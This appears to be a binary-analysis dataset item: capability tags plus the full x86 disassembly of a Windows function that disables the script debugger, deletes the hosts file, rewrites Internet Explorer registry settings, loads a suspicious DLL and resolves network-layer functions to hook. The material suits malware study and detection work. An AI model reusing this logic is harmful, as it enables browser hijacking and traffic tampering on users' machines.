Function at 0x42a090
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Delete file
Link many functions at runtime
Read .ini file
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x442c08
push 0x41ca70
mov eax, dword fs:[0]
push eax
sub esp, 0x74
push ebx
push esi
push edi
mov eax, dword [0x445030]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor edi, edi
xor esi, esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x20], edi
lea eax, [ebp - 0x20]
push eax
push 0xf003f
push edi
push 0x43b388
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
jne 0x42a12b
xor eax, eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x40], ecx
mov esi, ecx
cmp eax, edi
jne 0x42a12b
push 0x43b3dc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
push edx
push 0x43b3dc
push 1
push edi
push str.Disable_Script_Debugger
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp esi, edi
je 0x42a12b
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x40], edi
mov eax, str.C:Program_FilesBTq6b19VolueV64.dll
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x42a133
sub eax, edx
sar eax, 1
push str.C:Program_FilesBTq6b19VolueV64.dll
mov ebx, eax
mov eax, 0x4495c8
call fcn.004018e0
mov edx, dword [0x4495c8]
mov esi, dword [edx - 0xc]
mov ecx, 1
sub ecx, dword [edx - 4]
mov eax, dword [edx - 8]
sub eax, esi
or eax, ecx
jge 0x42a17f
mov ecx, esi
mov eax, 0x4495c8
call fcn.00402160
mov edx, dword [0x4495c8]
lea eax, [esi + 1]
push eax
push edx
call fcn.0041bbee
add esp, 8
test esi, esi
jl 0x42a715
mov eax, dword [0x4495c8]
cmp esi, dword [eax - 8]
jg 0x42a715
mov dword [eax - 0xc], esi
xor ecx, ecx
mov edx, dword [0x4495c8]
mov word [edx + esi*2], cx
mov eax, 0x4495c8
lea esi, [ebp - 0x28]
call fcn.00401020
push 0x5c
mov eax, dword [0x4495c8]
push eax
call fcn.0041b4b2
add esp, 8
test eax, eax
je 0x42a715
mov ecx, dword [0x4495c8]
sub eax, ecx
sar eax, 1
mov edi, eax
js 0x42a715
mov esi, dword [ecx - 0xc]
cmp edi, esi
jge 0x42a715
cmp dword [ecx - 4], 1
jle 0x42a20c
mov ecx, esi
push ecx
push 0x4495c8
call fcn.004020a0
mov ecx, dword [0x4495c8]
xor edx, edx
mov word [ecx + edi*2], dx
test esi, esi
jl 0x42a715
mov eax, dword [0x4495c8]
cmp esi, dword [eax - 8]
jg 0x42a715
mov dword [eax - 0xc], esi
xor eax, eax
mov ecx, dword [0x4495c8]
mov word [ecx + esi*2], ax
mov eax, edi
cmp edi, 0xffffffff
jne 0x42a250
mov eax, dword [0x4495c8]
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.0041b493
add esp, 8
test eax, eax
jl 0x42a715
mov ecx, dword [0x4495c8]
cmp eax, dword [ecx - 8]
jg 0x42a715
mov dword [ecx - 0xc], eax
xor edx, edx
mov ecx, dword [0x4495c8]
mov word [ecx + eax*2], dx
push str.msdialg100_D.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call esi
mov edi, eax
test edi, edi
jne 0x42a29f
push str.MFC90ENut.dll
call esi
mov edi, eax
test edi, edi
jne 0x42a29f
push str.Afx100net.dll
call esi
mov edi, eax
mov dword [ebp - 4], 0
test edi, edi
je 0x42a2eb
xor ecx, ecx
mov edx, str.internet_exploreriexplore.exe
mov esi, 0x4495c8
call fcn.00401250
test eax, eax
jge 0x42a2eb
push str.Geth
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x42a2d6
push 0
call eax
add esp, 4
mov dword [0x446110], 1
jmp 0x42a2eb
mov dword [ebp - 4], 0xfffffffe
mov edi, 0x43b4b8
mov ebx, 0x4495c8
lea esi, [ebp - 0x20]
call fcn.004013b0
mov eax, dword [eax]
push eax
push 0
push 0x43b4cc
push 0x43b4d8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [ebp - 0x24], eax
mov eax, esi
call fcn.004010c0
lea esi, [ebp - 0x20]
call fcn.00401000
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x43b4e0
mov edi, esi
call fcn.00401ac0
add esp, 8
mov edi, 0x43b4e8
lea esi, [ebp - 0x1c]
call fcn.004013b0
mov esi, dword [eax]
mov eax, dword [ebp - 0x20]
cmp dword [eax - 4], 1
jle 0x42a369
mov edx, dword [eax - 0xc]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.004020a0
mov eax, dword [ebp - 0x20]
push esi
push eax
push str.IELRT
push 0x43b508
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov esi, eax
lea eax, [ebp - 0x1c]
call fcn.004010c0
test esi, esi
je 0x42a457
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x42a3a7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0x7d0
jbe 0x42a457
lea esi, [ebp - 0x1c]
call fcn.00401000
mov eax, str.C:Program_FilesBTq6b19VolueV64.dll
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42a3b7
sub eax, edx
sar eax, 1
push str.C:Program_FilesBTq6b19VolueV64.dll
mov ebx, eax
lea eax, [ebp - 0x1c]
call fcn.004018e0
lea edi, [ebp - 0x1c]
call fcn.00401280
push str.32ex.exe
push str.64.dll
mov ecx, edi
push ecx
call fcn.00402200
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
push 0x44
push eax
lea edx, [ebp - 0x84]
push edx
call fcn.0041c990
add esp, 0xc
mov dword [ebp - 0x84], 0x44
mov dword [ebp - 0x58], 1
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x84]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x42a44f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x1c]
call fcn.004010c0
mov edi, 0x43b534
mov ebx, 0x4495c8
lea esi, [ebp - 0x24]
call fcn.004013b0
mov eax, dword [eax]
push eax
xor ebx, ebx
push ebx
push 0x43b548
push 0x43b550
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
lea eax, [ebp - 0x24]
call fcn.004010c0
mov eax, esi
and eax, 1
mov dword [0x44954c], eax
mov ecx, esi
and ecx, 2
mov dword [0x449550], ecx
mov eax, esi
and eax, 4
mov dword [0x449560], eax
mov edx, esi
and edx, 8
mov dword [0x449564], edx
mov eax, esi
and eax, 0x10
mov dword [0x449568], eax
mov ecx, esi
and ecx, 0x20
mov dword [0x44956c], ecx
mov edx, esi
and edx, 0x40
mov dword [0x449570], edx
mov eax, esi
and eax, 0x80
mov dword [0x449574], eax
mov ecx, esi
and ecx, 0x100
mov dword [0x449578], ecx
mov eax, esi
and eax, 0x200
mov dword [0x44957c], eax
mov edx, esi
and edx, 0x400
mov dword [0x449580], edx
mov ecx, esi
and ecx, 0x800
mov dword [0x449584], ecx
mov edx, esi
and edx, 0x1000
mov dword [0x449588], edx
mov edx, esi
and edx, 0x2000
mov dword [0x44958c], edx
and esi, 0x4000
mov dword [0x449590], esi
cmp eax, ebx
je 0x42a562
push 0x80
push 0x43b560
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.C:WindowsSystem32driversetchosts
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [0x449584]
cmp ecx, ebx
je 0x42a5e6
xor esi, esi
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x42a5db
xor eax, eax
mov esi, dword [ebp - 0x1c]
cmp eax, ebx
jne 0x42a5db
mov dword [ebp - 0x24], 1
push 4
lea ecx, [ebp - 0x24]
push ecx
push 4
push ebx
push str.EnableHttp1_1
push esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call edi
mov dword [ebp - 0x24], 1
push 4
lea edx, [ebp - 0x24]
push edx
push 4
push ebx
push str.ProxyHttp1.1
push esi
call edi
cmp esi, ebx
je 0x42a5e6
push esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
jmp 0x42a5ec
cmp esi, ebx
je 0x42a5e6
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x449560], ebx
je 0x42a729
xor esi, esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push ebx
push 0x43b6a8
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x42a722
mov dword [ebp - 0x2c], ebx
xor eax, eax
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x30], esi
cmp eax, ebx
jne 0x42a722
push esi
mov edx, str.FEATURE_BROWSER_EMULATION
lea esi, [ebp - 0x30]
call fcn.0040d960
test eax, eax
jne 0x42a71f
lea esi, [ebp - 0x1c]
call fcn.00401000
mov esi, dword [ebp - 0x1c]
mov ecx, 1
sub ecx, dword [esi - 4]
mov edx, dword [esi - 8]
sub edx, 0xff
or ecx, edx
jge 0x42a67e
mov ecx, 0xff
lea eax, [ebp - 0x1c]
call fcn.00402160
mov esi, dword [ebp - 0x1c]
push 0xff
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.0041b493
add esp, 8
cmp eax, ebx
jl 0x42a715
cmp eax, dword [esi - 8]
jg 0x42a715
mov dword [esi - 0xc], eax
xor ecx, ecx
mov word [esi + eax*2], cx
mov edi, dword [esi - 0xc]
push 0x5c
push esi
call fcn.0041b4b2
add esp, 8
cmp eax, ebx
jne 0x42a6c1
or ecx, 0xffffffff
jmp 0x42a6c7
sub eax, esi
sar eax, 1
mov ecx, eax
mov eax, edi
sub eax, ecx
dec eax
lea edx, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x24]
call fcn.004012e0
lea edi, [ebp - 0x1c]
call fcn.00401790
lea eax, [ebp - 0x24]
call fcn.004010c0
mov dword [ebp - 0x24], 0x22b8
push 4
lea eax, [ebp - 0x24]
push eax
push 4
push ebx
mov ecx, dword [ebp - 0x1c]
push ecx
mov esi, dword [ebp - 0x30]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, edi
call fcn.004010c0
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x42a722
push 0x80070057
call fcn.004021d0
mov esi, dword [ebp - 0x30]
cmp esi, ebx
je 0x42a729
push esi
call edi
xor esi, esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
lea edx, [ebp - 0x1c]
push edx
push 0xf003f
push ebx
push 0x43b750
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x42a761
mov dword [ebp - 0x2c], ebx
xor eax, eax
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x30], esi
cmp eax, ebx
je 0x42a7a9
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push ebx
push str.SoftwareMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x42a7a9
xor eax, eax
cmp esi, ebx
je 0x42a78b
push esi
call edi
mov dword [ebp - 0x2c], ebx
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x30], esi
cmp eax, ebx
jne 0x42a7a9
push esi
mov edx, str.FeatureControl
lea esi, [ebp - 0x30]
call fcn.0040d960
mov esi, dword [ebp - 0x30]
cmp esi, ebx
je 0x42a7b5
push esi
call edi
xor esi, esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x1c]
push ecx
push 0xf003f
push ebx
push str.SoftwareMicrosoftInternet_ExplorerMainFeatureControl
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x42a8de
xor eax, eax
cmp esi, ebx
je 0x42a7e6
push esi
call edi
mov dword [ebp - 0x2c], ebx
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x30], esi
cmp eax, ebx
jne 0x42a8de
push esi
mov edx, str.FEATURE_SCRIPTURL_MITIGATION
lea esi, [ebp - 0x30]
call fcn.0040d960
test eax, eax
jne 0x42a8db
lea esi, [ebp - 0x1c]
call fcn.00401000
mov esi, dword [ebp - 0x1c]
mov edx, 1
sub edx, dword [esi - 4]
mov eax, dword [esi - 8]
sub eax, 0xff
or edx, eax
jge 0x42a83c
mov ecx, 0xff
lea eax, [ebp - 0x1c]
call fcn.00402160
mov esi, dword [ebp - 0x1c]
push 0xff
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.0041b493
add esp, 8
cmp eax, ebx
jl 0x42a715
cmp eax, dword [esi - 8]
jg 0x42a715
mov dword [esi - 0xc], eax
xor ecx, ecx
mov word [esi + eax*2], cx
mov edi, dword [esi - 0xc]
push 0x5c
push esi
call fcn.0041b4b2
add esp, 8
cmp eax, ebx
jne 0x42a887
or ecx, 0xffffffff
jmp 0x42a88d
sub eax, esi
sar eax, 1
mov ecx, eax
mov eax, edi
sub eax, ecx
dec eax
lea edx, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x24]
call fcn.004012e0
lea edi, [ebp - 0x1c]
call fcn.00401790
lea eax, [ebp - 0x24]
call fcn.004010c0
mov dword [ebp - 0x24], 1
push 4
lea eax, [ebp - 0x24]
push eax
push 4
push ebx
mov ecx, dword [ebp - 0x1c]
push ecx
mov esi, dword [ebp - 0x30]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, edi
call fcn.004010c0
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x42a8de
mov esi, dword [ebp - 0x30]
cmp esi, ebx
je 0x42a8e5
push esi
call edi
cmp dword [0x449550], ebx
je 0x42a8f2
call fcn.00431f70
mov edi, 0x43b8f0
mov ebx, 0x4495c8
lea esi, [ebp - 0x24]
call fcn.004013b0
mov eax, dword [eax]
push eax
push 0
push str.DebugModel
push 0x43b91c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [0x449554], eax
mov eax, esi
call fcn.004010c0
mov edi, 0x43b92c
lea esi, [ebp - 0x24]
call fcn.004013b0
mov eax, dword [eax]
push eax
push 0
push str.RegTV
push 0x43b94c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [0x44955c], eax
mov eax, esi
call fcn.004010c0
push str.C:Program_FilesBTq6b19VolueV64.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x449528], eax
test eax, eax
je 0x42aa19
push 0x43b95c
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [0x449518], eax
push str.d009
mov edx, dword [0x449528]
push edx
call esi
mov dword [0x449510], eax
push str.d014
mov eax, dword [0x449528]
push eax
call esi
mov dword [0x449514], eax
push str.p005
mov ecx, dword [0x449528]
push ecx
call esi
mov dword [0x449504], eax
test eax, eax
je 0x42a9bc
call eax
push str.d006
mov edx, dword [0x449528]
push edx
call esi
mov dword [0x449508], eax
push str.p006
mov eax, dword [0x449528]
push eax
call esi
mov dword [0x44950c], eax
test eax, eax
je 0x42a9fd
push 0
push 0x43b98c
push 0x43b9a4
push str.mswsock.dll
call eax
mov dword [0x44951c], eax
push str.NtDeviceIoControlFile
push 1
push 0
push str.NTDLL.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push eax
call esi
mov dword [0x449520], eax
push ecx
mov eax, 0x43b9f4
mov edi, esp
call fcn.00401040
push ecx
mov eax, str.SrcP
mov edi, esp
call fcn.00401040
push ecx
mov eax, 0x43ba34
mov edi, esp
call fcn.00401040
lea ecx, [ebp - 0x24]
push ecx
mov ebx, 1
call fcn.00435260
add esp, 0x10
mov edi, 0x4495d4
call fcn.00401790
lea eax, [ebp - 0x24]
call fcn.004010c0
mov edi, 0x43ba40
mov ebx, 0x4495c8
lea esi, [ebp - 0x24]
call fcn.004013b0
mov esi, dword [eax]
mov eax, dword [0x4495cc]
mov edx, 1
sub edx, dword [eax - 4]
mov ecx, dword [eax - 8]
sub ecx, 0xfa0
or edx, ecx
jge 0x42aaa5
mov ecx, 0xfa0
mov eax, 0x4495cc
call fcn.00402160
mov eax, dword [0x4495cc]
push esi
push 0xfa0
push eax
push 0x43ba54
push str.DDMD5
push 0x43ba64
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x24]
call fcn.004010c0
mov edi, 0x43ba74
mov ebx, 0x4495c8
lea esi, [ebp - 0x24]
call fcn.004013b0
mov esi, dword [eax]
mov eax, dword [0x4495d0]
mov edx, 1
sub edx, dword [eax - 4]
mov ecx, dword [eax - 8]
sub ecx, 0xfa0
or edx, ecx
jge 0x42ab0b
mov ecx, 0xfa0
mov eax, 0x4495d0
call fcn.00402160
mov eax, dword [0x4495d0]
push esi
push 0xfa0
push eax
push 0x43ba88
push str.DDNM
push 0x43ba98
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x24]
call fcn.004010c0
mov eax, dword [0x4495cc]
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.0041b493
add esp, 8
test eax, eax
jl 0x42a715
mov ecx, dword [0x4495cc]
cmp eax, dword [ecx - 8]
jg 0x42a715
mov dword [ecx - 0xc], eax
xor edx, edx
mov ecx, dword [0x4495cc]
mov word [ecx + eax*2], dx
mov eax, dword [0x4495d0]
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.0041b493
add esp, 8
test eax, eax
jl 0x42a715
mov ecx, dword [0x4495d0]
cmp eax, dword [ecx - 8]
jg 0x42a715
mov dword [ecx - 0xc], eax
xor edx, edx
mov ecx, dword [0x4495d0]
mov word [ecx + eax*2], dx
cmp dword [0x449518], edx
je 0x42ac52
lea esi, [ebp - 0x1c]
call fcn.00401000
mov eax, 0x4495d0
mov edi, esi
call fcn.00401790
mov eax, dword [0x4495d0]
mov edx, 1
sub edx, dword [eax - 4]
mov ecx, dword [eax - 8]
sub ecx, 0xfa0
or edx, ecx
jge 0x42abed
mov ecx, 0xfa0
mov eax, 0x4495d0
call fcn.00402160
mov eax, dword [0x4495d0]
mov esi, eax
mov eax, dword [ebp - 0x1c]
cmp dword [eax - 4], 1
jle 0x42ac08
mov edx, dword [eax - 0xc]
push edx
lea eax, [ebp - 0x1c]
push eax
call fcn.004020a0
mov eax, dword [ebp - 0x1c]
push 0
push esi
push eax
call dword [0x449518]
mov eax, dword [0x4495d0]
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.0041b493
add esp, 8
test eax, eax
jl 0x42a715
mov ecx, dword [0x4495d0]
cmp eax, dword [ecx - 8]
jg 0x42a715
mov dword [ecx - 0xc], eax
xor ecx, ecx
mov edx, dword [0x4495d0]
mov word [edx + eax*2], cx
lea eax, [ebp - 0x1c]
call fcn.004010c0
mov edi, 0x4495cc
call fcn.00401280
mov edi, 0x4495d0
call fcn.00401280
call fcn.00425d20
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.004265a0
cmp dword [0x449580], 0
jne 0x42ac8f
push 0x435730
push 0x4495ec
call fcn.00426660
cmp dword [0x449570], 0
jne 0x42acb6
push 0x434180
push 0x4495e4
call fcn.00426660
push 0x435d30
push 0x4495e8
call fcn.00426660
call fcn.00425fa0
push 0x431f90
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.00434450
mov edi, 0x43baa8
mov ebx, 0x4495c8
lea esi, [ebp - 0x24]
call fcn.004013b0
mov eax, dword [eax]
push eax
push 0
push str.IEPRX
push 0x43bac8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
lea eax, [ebp - 0x24]
call fcn.004010c0
test esi, esi
je 0x42ad07
xor eax, eax
call fcn.004341e0
mov edi, 0x43bad8
mov ebx, 0x4495c8
lea esi, [ebp - 0x24]
call fcn.004013b0
mov eax, dword [eax]
push eax
push 0
push str.IEExtC
push 0x43bafc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
lea eax, [ebp - 0x24]
call fcn.004010c0
test esi, esi
je 0x42ad46
mov eax, 1
call fcn.004341e0
mov edi, 0x43bb0c
mov ebx, 0x4495c8
lea esi, [ebp - 0x24]
call fcn.004013b0
mov eax, dword [eax]
push eax
push 0
push str.IE_Prot
push 0x43bb30
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [0x449558], eax
mov eax, esi
call fcn.004010c0
cmp dword [0x449558], 0
je 0x42add6
mov eax, dword [0x449528]
test eax, eax
je 0x42add6
push str.d005
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x449500], eax
test eax, eax
je 0x42ada2
call eax
call fcn.00425d20
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.004265a0
push 0x435e90
push 0x4495e0
call fcn.00426660
push 0x435ef0
push 0x4495dc
call fcn.00426660
call fcn.00425fa0
mov edi, 0x43bb48
mov ebx, 0x4495c8
lea esi, [ebp - 0x24]
call fcn.004013b0
mov eax, dword [eax]
push eax
push 0
push str.FouceProt
push 0x43bb70
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
cmp eax, 1
sete bl
mov eax, esi
call fcn.004010c0
test bl, bl
je 0x42ae28
push 0
push 0
push 1
push 0x434d20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4494fc], eax
lea eax, [ebp - 0x20]
call fcn.004010c0
lea eax, [ebp - 0x28]
call fcn.004010c0
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x42ae46
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret